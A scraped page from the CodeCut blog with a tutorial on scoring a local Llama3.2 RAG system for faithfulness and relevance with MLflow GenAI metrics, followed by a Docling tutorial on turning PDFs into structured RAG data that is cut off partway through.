border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover {
background: #5aa8e8;
}

.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}

.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}

.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}

/* WordPress dark-theme overrides */
.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}

.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}

.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}

.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}

.codecut-input {
border-radius: 8px;
height: 36px;
}

.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

📚 Want to go deeper? Learning new techniques is the easy part. Knowing how to structure, test, and deploy them is what separates side projects from real work. My book shows you how to build data science projects that actually make it to production. Get the book →

pre.mermaid { background: transparent !important; padding: 0 !important; } pre.mermaid svg { background: transparent !important; } pre.mermaid .cluster rect { fill: transparent !important; stroke: #555 !important; }

Bandit: Audit AI-Generated Python for Security Flaws Read More »

Build Production-Ready RAG Systems with MLflow Quality Metrics

Table of Contents

What is MLflow GenAI?
Article Overview
Quick Setup
Installation
Environment Configuration
Importing Libraries
RAG System with Ollama Llama3.2
Evaluation Dataset

Core RAG Metrics
Faithfulness Evaluation
Answer Relevance Evaluation

Running and Interpreting Results
Comprehensive Evaluation with MLflow
Viewing Results in MLflow Dashboard

Interpreting the Results
Next Steps

How do you know if your AI model actually works? AI model outputs can be inconsistent – sometimes providing inaccurate responses, irrelevant information, or answers that don’t align with the input context. Manual evaluation of these issues is time-consuming and doesn’t scale as your system grows.
MLflow for GenAI solves this problem by automating evaluation across two critical areas:

Faithfulness: Ensuring responses match retrieved context
Answer Relevance: Verifying outputs address user questions

Key Takeaways
Here’s what you’ll learn:

Automate RAG quality assessment with faithfulness and relevance scoring using MLflow
Build production-ready evaluation pipelines that scale from prototype to enterprise
Track experiment results in interactive MLflow dashboards with zero manual scoring
Implement AI judges powered by GPT-4 for consistent evaluation at scale
Identify low-performing questions with scores below 3.0 for targeted improvements

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}

.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}

input[type=”email”].codecut-input {
border-radius: 8px !important;
}

.codecut-input::placeholder {
color: #666666;
}

.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}

.codecut-email-row .codecut-input {
flex: 1;
}

.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover {
background: #5aa8e8;
}

.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}

.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}

.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}

/* WordPress dark-theme overrides */
.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}

.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}

.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}

.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}

.codecut-input {
border-radius: 8px;
height: 36px;
}

.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

What is MLflow GenAI?
MLflow is an open-source platform for managing machine learning lifecycles – tracking experiments, packaging models, and managing deployments. Traditional MLflow focuses on numerical metrics like accuracy and loss.
MLflow for GenAI extends this foundation specifically for generative AI applications. It evaluates subjective qualities that numerical metrics can’t capture:

Response relevance: Measures whether outputs address user questions
Factual accuracy: Checks if responses stay truthful to source material
Context adherence: Evaluates whether answers stick to retrieved information
Automated scoring: Uses AI judges instead of manual evaluation
Scalable assessment: Handles large datasets without human reviewers

Article Overview
This article walks you through a complete AI evaluation workflow. You’ll build a RAG (Retrieval-Augmented Generation) system, test it with real data, and measure its performance using automated tools. For comprehensive RAG fundamentals, see our LangChain and Ollama guide.
What you’ll build:

RAG system: Create a question-answering system using Ollama’s Llama3.
Test dataset: Design evaluation data that reveals system strengths and weaknesses
Automated evaluation: Use OpenAI-powered metrics to score response quality
MLflow interface: Track experiments and visualize results in an interactive dashboard
Results analysis: Interpret scores and identify areas for improvement

Quick Setup
Installation
Start by installing the necessary packages for this guide.
pip install 'mlflow>=3.0.0rc0' langchain-ollama pandas

Environment Configuration
We’ll use Ollama to run Llama3.2 locally for our RAG system. Ollama lets you download and run AI models on your computer, keeping your question-answering data private while eliminating API costs.
Ensure you have Ollama installed locally and the Llama3.2 model downloaded.
# Install Ollama (if not already installed)
# Visit https://ollama.ai for installation instructions

# Pull the Llama3.2 model
ollama pull llama3.2

Importing Libraries
Import the necessary libraries for our RAG system and MLflow evaluation.
import os
import pandas as pd
import mlflow
from mlflow.metrics.genai import faithfulness, answer_relevance, make_genai_metric
from langchain_ollama import ChatOllama
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.output_parsers import StrOutputParser

# Note: Ensure Ollama is installed and llama3.2 model is available
# Run: ollama pull llama3.2

RAG System with Ollama Llama3.2
We’ll create a real RAG (Retrieval-Augmented Generation) system using Ollama’s Llama3.2 model that retrieves context and generates answers.
This function creates a question-answering system that:

Takes a question and available documents as input
Uses the most relevant documents to provide context
Generates accurate answers using the Llama3.2 model
Returns both the answer and the sources used

def ollama_rag_system(question, context_docs):
"""Real RAG system using Ollama Llama3.2"""
# Retrieve top 2 most relevant documents
retrieved_context = "\n".join(context_docs[:2])

# Create prompt template
prompt = ChatPromptTemplate.from_template(
"""Answer the question based on the provided context.
Be concise and accurate.

Context: {context}
Question: {question}

Answer:"""
)

# Initialize Llama3.2 model
llm = ChatOllama(model="llama3.2", temperature=0)

# Create chain and get response
chain = prompt | llm | StrOutputParser()
answer = chain.invoke({"context": retrieved_context, "question": question})

return {
"answer": answer,
"retrieved_context": retrieved_context,
"retrieved_docs": context_docs[:2],
}

For implementing vector databases with Pinecone, see our Pinecone and Ollama semantic search guide.
Evaluation Dataset
An evaluation dataset helps you measure system quality systematically. It reveals how well your RAG system handles different question types and identifies areas for improvement.
To create an evaluation dataset, start with a knowledge base of documents that answer questions. Build the dataset with questions, expected answers, and context from this knowledge base.

For processing complex PDFs into RAG-ready data, explore our Docling document processing guide.

knowledge_base = [
"MLflow is an open-source platform for managing the end-to-end machine learning lifecycle. It provides experiment tracking, model packaging, versioning, and deployment capabilities.",
"RAG systems combine retrieval and generation to provide accurate, contextual responses. They first retrieve relevant documents then generate answers.",
"Vector databases store document embeddings for efficient similarity search. They enable fast retrieval of relevant information."
]

eval_data = pd.DataFrame({
"question": [
"What is MLflow?",
"How does RAG work?",
"What are vector databases used for?"
],
"expected_answer": [
"MLflow is an open-source platform for managing machine learning workflows",
"RAG combines retrieval and generation for contextual responses",
"Vector databases store embeddings for similarity search"
],
"context": [
knowledge_base[0],
knowledge_base[1],
knowledge_base[2]
]
})

eval_data

Index
Question
Expected Answer
Context

0
What is MLflow?
Open-source ML workflow platform
MLflow manages ML lifecycles with tracking, packaging…

1
How does RAG work?
Combines retrieval and generation
RAG systems retrieve documents then generate answers…

2
What are vector databases used for?
Store embeddings for similarity search
Vector databases enable fast retrieval of information…

Generate answers for each question using the RAG system. This creates the responses we’ll evaluate for quality and accuracy.
# Generate answers for evaluation
def generate_answers(row):
result = ollama_rag_system(row['question'], [row['context']])
return result['answer']

eval_data['generated_answer'] = eval_data.apply(generate_answers, axis=1)

Print the first row to see the question, context, and generated answer.
# Display the first row to see question, context, and answer
print(f"Question: {eval_data.iloc[0]['question']}")
print(f"Context: {eval_data.iloc[0]['context']}")
print(f"Generated Answer: {eval_data.iloc[0]['generated_answer']}")

The output displays three key components:

The question shows what we asked.
The context shows which documents the system used to generate the answer.
The answer contains the RAG system’s response.

Question: What is MLflow?
Context: MLflow is an open-source platform for managing the end-to-end machine learning lifecycle. It provides experiment tracking, model packaging, versioning, and deployment capabilities.
Generated Answer: MLflow is an open-source platform for managing the end-to-end machine learning lifecycle, providing features such as experiment tracking, model packaging, versioning, and deployment capabilities.

Core RAG Metrics
Faithfulness Evaluation
Faithfulness measures whether the generated answer stays true to the retrieved context, preventing hallucination:
In the code below, we define the function evaluate_faithfulness that:

Creates an AI judge using GPT-4 to evaluate faithfulness.
Takes the generated answer, question, and context as input.
Returns a score from 1-5, where 5 indicates perfect faithfulness.

We then apply this function to the evaluation dataset to get the faithfulness score for each question.
# Evaluate faithfulness for each answer
def evaluate_faithfulness(row):
# Initialize faithfulness metric with OpenAI GPT-4 as judge
faithfulness_metric = faithfulness(model="openai:/gpt-4")
score = faithfulness_metric(
predictions=[row['generated_answer']],
inputs=[row['question']],
context=[row['context']],
)
return score.scores[0]

eval_data['faithfulness_score'] = eval_data.apply(evaluate_faithfulness, axis=1)
print("Faithfulness Evaluation Results:")
print(eval_data[['question', 'faithfulness_score']])

Faithfulness Evaluation Results:

Question
Faithfulness Score

What is MLflow?
5

How does RAG work?
5

What are vector databases used for?
5

Perfect scores of 5 show the RAG system answers remain faithful to the source material. No hallucination or unsupported claims were detected.
Answer Relevance Evaluation
Answer relevance measures whether the response actually addresses the question asked:
# Evaluate answer relevance
def evaluate_relevance(row):
# Initialize answer relevance metric
relevance_metric = answer_relevance(model="openai:/gpt-4")
score = relevance_metric(
predictions=[row['generated_answer']],
inputs=[row['question']]
)
return score.scores[0]

eval_data['relevance_score'] = eval_data.apply(evaluate_relevance, axis=1)
print("Answer Relevance Results:")
print(eval_data[['question', 'relevance_score']])

Answer Relevance Results:

Question
Relevance Score

What is MLflow?
5

How does RAG work?
5

What are vector databases used for?
5

Perfect scores of 5 show the RAG system’s responses directly address the questions asked. No irrelevant or off-topic answers were generated.
Running and Interpreting Results
We’ll now combine individual metrics into a comprehensive MLflow evaluation. This creates detailed reports, tracks experiments, and enables result comparison. Finally, we’ll analyze the scores to identify areas for improvement.
Comprehensive Evaluation with MLflow
Start by using MLflow’s evaluation framework to run all metrics together.
The following code:

Defines a model function that MLflow can evaluate systematically
Takes a DataFrame of questions and processes them through the RAG system
Converts results to a list format required by MLflow
Combines all metrics into a single evaluation run for comprehensive reporting

# Prepare data for MLflow evaluation
def rag_model_function(input_df):
"""Model function for MLflow evaluation"""
def process_row(row):
result = ollama_rag_system(row["question"], [row["context"]])
return result["answer"]

return input_df.apply(process_row, axis=1).tolist()

# Run comprehensive evaluation
with mlflow.start_run() as run:
evaluation_results = mlflow.evaluate(
model=rag_model_function,
data=eval_data[
["question", "context", "expected_answer"]
], # Include expected_answer column
targets="expected_answer",
extra_metrics=[faithfulness_metric, relevance_metric],
evaluator_config={
"col_mapping": {
"inputs": "question",
"context": "context",
"predictions": "predictions",
"targets": "expected_answer",
}
},
)

After running the code, the evaluation results get stored in MLflow’s tracking system. You can now compare different runs and analyze performance metrics through the dashboard.
Viewing Results in MLflow Dashboard
Launch the MLflow UI to explore evaluation results interactively:
mlflow ui

Navigate to http://localhost:5000 to access the dashboard.
The MLflow dashboard shows the Experiments table with two evaluation runs. Each run displays the run name (like “bold-slug-816”), creation time, dataset information, and duration. You can select runs to compare their performance metrics.

Click on any experiment to see the details of the evaluation. When you scroll down to the Metrics section, you will see detailed evaluation metrics including faithfulness and relevance scores for each question.

Clicking on “Traces” will show you the detailed request-response pairs for each evaluation question for debugging and analysis.

Clicking on “Artifacts” reveals the evaluation results table containing the complete evaluation data, metric scores, and a downloadable format for external analysis.

Interpreting the Results
Raw scores need interpretation to drive improvements. Use MLflow’s evaluation data to identify specific areas for enhancement.
The analysis:

Extracts performance metrics from comprehensive evaluation results
Calculates mean scores across all questions for both metrics
Identifies underperforming questions that require attention
Generates targeted feedback for systematic improvement

def interpret_evaluation_results(evaluation_results):
"""Analyze MLflow evaluation results"""

# Extract metrics and data
metrics = evaluation_results.metrics
eval_table = evaluation_results.tables['eval_results_table']

# Overall performance
avg_faithfulness = metrics.get('faithfulness/v1/mean', 0)
avg_relevance = metrics.get('answer_relevance/v1/mean', 0)

print(f"Average Scores:")
print(f"Faithfulness: {avg_faithfulness:.2f}")
print(f"Answer Relevance: {avg_relevance:.2f}")

# Identify problematic questions
low_performing = eval_table[
(eval_table['faithfulness/v1/score'] < 3) |
(eval_table['answer_relevance/v1/score'] < 3)
]

if not low_performing.empty:
print(f"\nQuestions needing improvement: {len(low_performing)}")
for _, row in low_performing.iterrows():
print(f"- {row['inputs']}")
else:
print("\nAll questions performing well!")

# Usage
interpret_evaluation_results(evaluation_results)

Average Scores:
Faithfulness: 5.00
Answer Relevance: 5.00

All questions performing well!

Perfect scores indicate the RAG system generates accurate, contextual responses without hallucination. This baseline establishes a benchmark for future system modifications and more complex evaluation datasets.
Next Steps
This evaluation framework provides the foundation for systematically improving your RAG system:

Regular Evaluation: Run these metrics on your test dataset with each system change
Threshold Setting: Establish minimum acceptable scores for each metric based on your requirements
Automated Monitoring: Integrate these evaluations into your CI/CD pipeline
Iterative Improvement: Use the insights to guide retrieval improvements, prompt engineering, and model selection

For versioning your ML experiments and models systematically, see our DVC version control guide.
The combination of faithfulness, answer relevance, and retrieval quality metrics gives you a comprehensive view of your RAG system’s performance, enabling data-driven improvements and reliable quality assurance.

📚 Want to go deeper? Learning new techniques is the easy part. Knowing how to structure, test, and deploy them is what separates side projects from real work. My book shows you how to build data science projects that actually make it to production. Get the book →

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}

.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}

input[type=”email”].codecut-input {
border-radius: 8px !important;
}

.codecut-input::placeholder {
color: #666666;
}

.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}

.codecut-email-row .codecut-input {
flex: 1;
}

.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover {
background: #5aa8e8;
}

.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}

.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}

.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}

/* WordPress dark-theme overrides */
.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}

.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}

.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}

.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}

.codecut-input {
border-radius: 8px;
height: 36px;
}

.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Build Production-Ready RAG Systems with MLflow Quality Metrics Read More »

Transform Any PDF into Searchable AI Data with Docling

Table of Contents

Setting Up Your Document Processing Pipeline
What is Docling?
What is RAG?

Quick Start: Your First Document Conversion
Export Options for Different Use Cases
Configuring PdfPipelineOptions for Advanced Processing
Enable Image Extraction
Table Recognition Enhancement
AI-Powered Content Understanding
Performance and Memory Management

Building Your RAG Pipeline
Tools for RAG Pipelines
Document Processing
Chunking
Creating a Vector Store

Conclusion

What if complex research papers could be transformed into AI-searchable data using fewer than 10 lines of Python?
Financial reports, research documents, and analytical papers often contain vital tables and formulas that traditional PDF tools fail to extract properly. This results in the loss of structured data that could inform key decisions.
Docling, developed by IBM Research, is an AI-first document processing tool that preserves the relationships between text, tables, and formulas. With just three lines of code, you can convert any document into structured data.
Key Takeaways
Here’s what you’ll learn:

Convert any PDF into structured data with just 3 lines of Python code
Extract tables, formulas, and text while preserving relationships between elements
Build complete RAG pipelines that process 50 chunks in under 60 seconds
Use AI-powered image descriptions to make diagrams searchable
Optimize processing speed by 10x with parallel processing and selective extraction

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}

.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}

input[type=”email”].codecut-input {
border-radius: 8px !important;
}

.codecut-input::placeholder {
color: #666666;
}

.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}

.codecut-email-row .codecut-input {
flex: 1;
}

.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover {
background: #5aa8e8;
}

.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}

.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}

.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}

/* WordPress dark-theme overrides */
.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}

.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}

.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}

.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}

.codecut-input {
border-radius: 8px;
height: 36px;
}

.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Setting Up Your Document Processing Pipeline
What is Docling?
Docling is an AI-first document processing tool developed by IBM Research. It transforms complex documents (like PDFs, Excel spreadsheets, and Word files) into structured data while preserving their original structure, including text, tables, and formulas.
To install Docling, run the following command:
pip install docling

What is RAG?
RAG (Retrieval-Augmented Generation) is an AI technique that combines document retrieval with language generation. Instead of relying solely on training data, RAG systems search through external documents to find relevant information, then use that context to generate accurate, up-to-date responses.
This process requires converting documents into structured, searchable chunks. Docling handles this conversion seamlessly.
Quick Start: Your First Document Conversion
Docling transforms any document into structured data with just three lines of code. Let’s see this in action by converting a PDF document – specifically, Docling’s own technical report from arXiv. This is a good example because it contains a lot of different types of elements, including tables, formulas, and text.
from docling.document_converter import DocumentConverter
import pandas as pd

# Initialize converter with default settings
converter = DocumentConverter()

# Convert any document format – we'll use the Docling technical report itself
source_url = "https://arxiv.org/pdf/2408.09869"
result = converter.convert(source_url)

# Access structured data immediately
doc = result.document
print(f"Successfully processed document from: {source_url}")

To iterate through each document element, we will use the doc.iterate_items() method. This method returns tuples of (item, level). For example:

(TextItem(label='paragraph', text='Introduction text…'), 0) – top-level paragraph
(TableItem(label='table', text='| Col1 | Col2 |…'), 1) – table at depth 1
(TextItem(label='heading', text='Section 2'), 0) – section heading

from collections import defaultdict

# Create a dictionary to categorize all document elements by type
element_types = defaultdict(list)

# Iterate through all document elements and group them by label
for item, _ in doc.iterate_items():
element_type = item.label
element_types[element_type].append(item)

# Display the breakdown of document structure
print("Document structure breakdown:")
for element_type, items in element_types.items():
print(f" {element_type}: {len(items)} elements")

The output shows the different types of elements Docling extracted from the document.
Document structure breakdown:
picture: 13 elements
section_header: 31 elements
text: 102 elements
list_item: 22 elements
code: 2 elements
footnote: 1 elements
caption: 3 elements
table: 5 elements

Let’s look specifically for structured elements like tables and formulas that are crucial for RAG applications:
first_table = element_types["table"][0]
print(first_table.export_to_dataframe(doc=doc).to_markdown())

CPU.
Thread budget.
native backend.TTS
native backend.Pages/s
native backend.Mem
pypdfium backend.TTS
pypdfium backend.Pages/s
pypdfium backend.Mem

0
Apple M3 Max
4
177 s 167 s
1.27 1.34
6.20 GB
103 s 92 s
2.18 2.45
2.56 GB

1
(16 cores) Intel(R) E5-2690
16 4 16
375 s 244 s
0.60 0.92
6.16 GB
239 s 143 s
0.94 1.57
2.42 GB

Here is how the table looks in the original PDF:

The extracted table shows Docling’s accuracy and structural differences from the original PDF. Docling captured all numerical data and text perfectly but flattened the merged cell structure into separate columns.
While this loses visual formatting, it benefits RAG applications since each row contains complete information without complex cell merging logic.
Next, look at the first list item element:
first_list_items = element_types["list_item"][0:6]
for list_item in first_list_items:
print(list_item.text)

· Converts PDF documents to JSON or Markdown format, stable and lightning fast
· Understands detailed page layout, reading order, locates figures and recovers table structures
· Extracts metadata from the document, such as title, authors, references and language
· Optionally applies OCR, e.g. for scanned PDFs
· Can be configured to be optimal for batch-mode (i.e high throughput, low time-to-solution) or interactive mode (compromise on efficiency, low time-to-solution)
· Can leverage different accelerators (GPU, MPS, etc).

This matches the original PDF list item.

Look at the first caption element:
first_caption = element_types["caption"][0]
print(first_caption.text)

This matches the image caption in the original PDF.

This matches the image caption in the original PDF.
Export Options for Different Use Cases
Docling provides multiple ways to export the document data, including Markdown, JSON, and dictionary formats.
For human review and documentation, Markdown format preserves the document structure beautifully.
# Human-readable markdown for review
markdown_content = doc.export_to_markdown()
print(markdown_content[:500] + "…")

<!– image –>

## Docling Technical Report

Version 1.0

Christoph Auer Maksym Lysak Ahmed Nassar Michele Dolfi Nikolaos Livathinos Panos Vagenas Cesar Berrospi Ramis Matteo Omenetti Fabian Lindlbauer Kasper Dinkla Lokesh Mishra Yusik Kim Shubham Gupta Rafael Teixeira de Lima Valery Weber Lucas Morin Ingmar Meijer Viktor Kuropiatnyk Peter W. J. Staar

AI4K Group, IBM Research R¨ uschlikon, Switzerland

## Abstract

This technical report introduces Docling , an easy to use, self-contained, MITli…

Compare this to the original PDF:

Docling preserves all original content while converting complex PDF formatting into clean markdown. Every author name, title, and abstract text remains intact, creating searchable structure perfect for RAG applications.
For programmatic processing and API integrations, JSON format provides structured access to all document elements:
import json

# JSON for programmatic processing
json_dict = doc.export_to_dict()

print('JSON keys:', json_dict.keys())

JSON keys: dict_keys(['schema_name', 'version', 'name', 'origin', 'furniture', 'body', 'groups', 'texts', 'pictures', 'tables', 'key_value_items', 'form_items', 'pages'])

The JSON structure reveals Docling’s comprehensive document analysis. Key sections include texts for paragraphs, tables for structured data, pictures for images, and pages for layout information.
For Python development workflows, the dictionary format enables immediate access to all document elements.
# Python dictionary for immediate use
dict_repr = doc.export_to_dict()

# Preview the structure
num_texts = len(dict_repr['texts'])
num_tables = len(dict_repr['tables'])

print(f"Text elements: {num_texts}")
print(f"Table elements: {num_tables}")

Text elements: 985
Table elements: 5

Configuring PdfPipelineOptions for Advanced Processing
The default Docling configuration works well for most documents, but PdfPipelineOptions unlocks advanced processing capabilities. These options control OCR engines, table recognition, AI enrichments, and performance settings.
PdfPipelineOptions becomes essential when working with scanned documents, complex layouts, or specialized content requiring AI-powered understanding.
Enable Image Extraction
By default, Docling does not extract images from the document. However, you can enable image extraction by setting the generate_picture_images option to True.
from docling.datamodel.pipeline_options import PdfPipelineOptions
from docling.document_converter import PdfFormatOption

pipeline_options = PdfPipelineOptions(generate_picture_images=True)

# Create converter with enhanced table processing
converter_enhanced = DocumentConverter(
format_options={
InputFormat.PDF: PdfFormatOption(pipeline_options=pipeline_options)
}
)

result_enhanced = converter_enhanced.convert("https://arxiv.org/pdf/2408.09869")
doc_enhanced = result_enhanced.document

Display the first image:
# Extract and display the first image
from IPython.display import Image, display

for item, _ in doc_enhanced.iterate_items():
if item.label == "picture":
image_data = item.image

# Get the image URI
uri = str(image_data.uri)

# Display the image using IPython
display(Image(url=uri))
break

The output image matches the first image of the PDF.
Table Recognition Enhancement
To use the more sophisticated AI model for table extraction instead of the default fast model, you can set the table_structure_options.mode to TableFormerMode.ACCURATE.
from docling.datamodel.pipeline_options import PdfPipelineOptions, TableFormerMode
from docling.datamodel.base_models import InputFormat
from docling.document_converter import PdfFormatOption

# Enhanced table processing for complex layouts
pipeline_options = PdfPipelineOptions()
pipeline_options.table_structure_options.mode = TableFormerMode.ACCURATE

# Create converter with enhanced table processing
converter_enhanced = DocumentConverter(
format_options={
InputFormat.PDF: PdfFormatOption(pipeline_options=pipeline_options)
}
)

result_enhanced = converter_enhanced.convert("https://arxiv.org/pdf/2408.09869")
doc_enhanced = result_enhanced.document

AI-Powered Content Understanding
AI enrichments enhance extracted content with semantic understanding. Picture descriptions, formula detection, and code parsing improve RAG accuracy by adding crucial context.
In the code below, we:

Set the do_picture_description option to True to enable picture description extraction
Set the picture_description_options option to use the SmolVLM-256M-Instruct model from Hugging Face.

from docling.datamodel.pipeline_options import PictureDescriptionVlmOptions

# AI-powered content enrichment
pipeline_options = PdfPipelineOptions(
do_picture_description=True, # AI-generated image descriptions
picture_description_options=PictureDescriptionVlmOptions(
repo_id="HuggingFaceTB/SmolVLM-256M-Instruct",
prompt="Describe this picture. Be precise and concise.",
),
generate_picture_images=True,
)

converter_enhanced = DocumentConverter(
format_options={
InputFormat.PDF: PdfFormatOption(pipeline_options=pipeline_options)
}
)

result_enhanced = converter_enhanced.convert("https://arxiv.org/pdf/2408.09869")
doc_enhanced = result_enhanced.document

Extract the picture description from the second picture:
second_picture = doc_enhanced.pictures[1]

print(f"Caption: {second_picture.caption_text(doc=doc_enhanced)}")

# Check for annotations
for annotation in second_picture.annotations:
print(annotation.text)

Caption: Figure 1: Sketch of Docling's default processing pipeline. The inner part of the model pipeline is easily customizable and extensible.
### Image Description

The image is a flowchart that depicts a sequence of steps from a document, likely a report or a document. The flowchart is structured with various elements such as text, icons, and arrows. Here is a detailed description of the flowchart:

#### Step 1: Parse
– **Description:** The first step in the process is to parse the document. This involves converting the text into a format that can be easily understood by the user.

#### Step 2: Ocr
– **Description:** The second step is to perform OCR (Optical Character Recognition) on the document. This involves converting the text into a format that can be easily read by the OCR software.

#### Step 3: Layout Analysis
– **Description:** The third step is to analyze the document's layout. This involves examining the document's structure, including the layout of the text, the alignment of the text, and the alignment of the document's content

Here is the original image:

The detailed description shows how Docling’s picture analysis transforms visual content into text that can be indexed and searched, making diagrams accessible to RAG systems.
Performance and Memory Management
Processing a large document can be time-consuming. To speed up the process, we can use:

The page_range option to process only a specific page range.
The max_num_pages option to limit the number of pages to process.
The images_scale option to reduce the image resolution for speed.
The generate_page_images option to skip page images to save memory.
The do_table_structure option to skip table structure extraction.
The enable_parallel_processing option to use multiple cores.

# Optimized for large documents
pipeline_options = PdfPipelineOptions(
max_num_pages=4, # Limit processing to first 4 pages
page_range=[1, 3], # Process specific page range
generate_page_images=False, # Skip page images to save memory
do_table_structure=False, # Skip table structure extraction
enable_parallel_processing=True # Use multiple cores
)

Building Your RAG Pipeline
We’ll build our RAG pipeline in five steps:

Document Processing: Use Docling to convert documents into structured data
Chunking: Break documents into smaller, searchable pieces
Create Embeddings: Convert text chunks into vector representations
Store in Vector Database: Save embeddings in FAISS for fast similarity search
Query: Retrieve relevant chunks and generate contextual responses

Tools for RAG Pipelines
Building RAG pipelines requires four essential tools:

Docling: converts documents into structured data
LangChain: manages document workflows, chain orchestration, and provides embedding models
FAISS: stores and retrieves document chunks

These tools work together to create complete RAG pipelines that can process, store, and retrieve document content intelligently.
LangChain
LangChain simplifies building AI applications by providing components for document loading, text processing, and chain orchestration. It integrates seamlessly with vector stores and language models.
For a comprehensive introduction to LangChain fundamentals and local AI workflows, see our LangChain and Ollama guide.
FAISS
FAISS (Facebook AI Similarity Search) is a library for efficient similarity search in high-dimensional spaces. It enables fast retrieval of the most relevant document chunks based on embedding similarity.
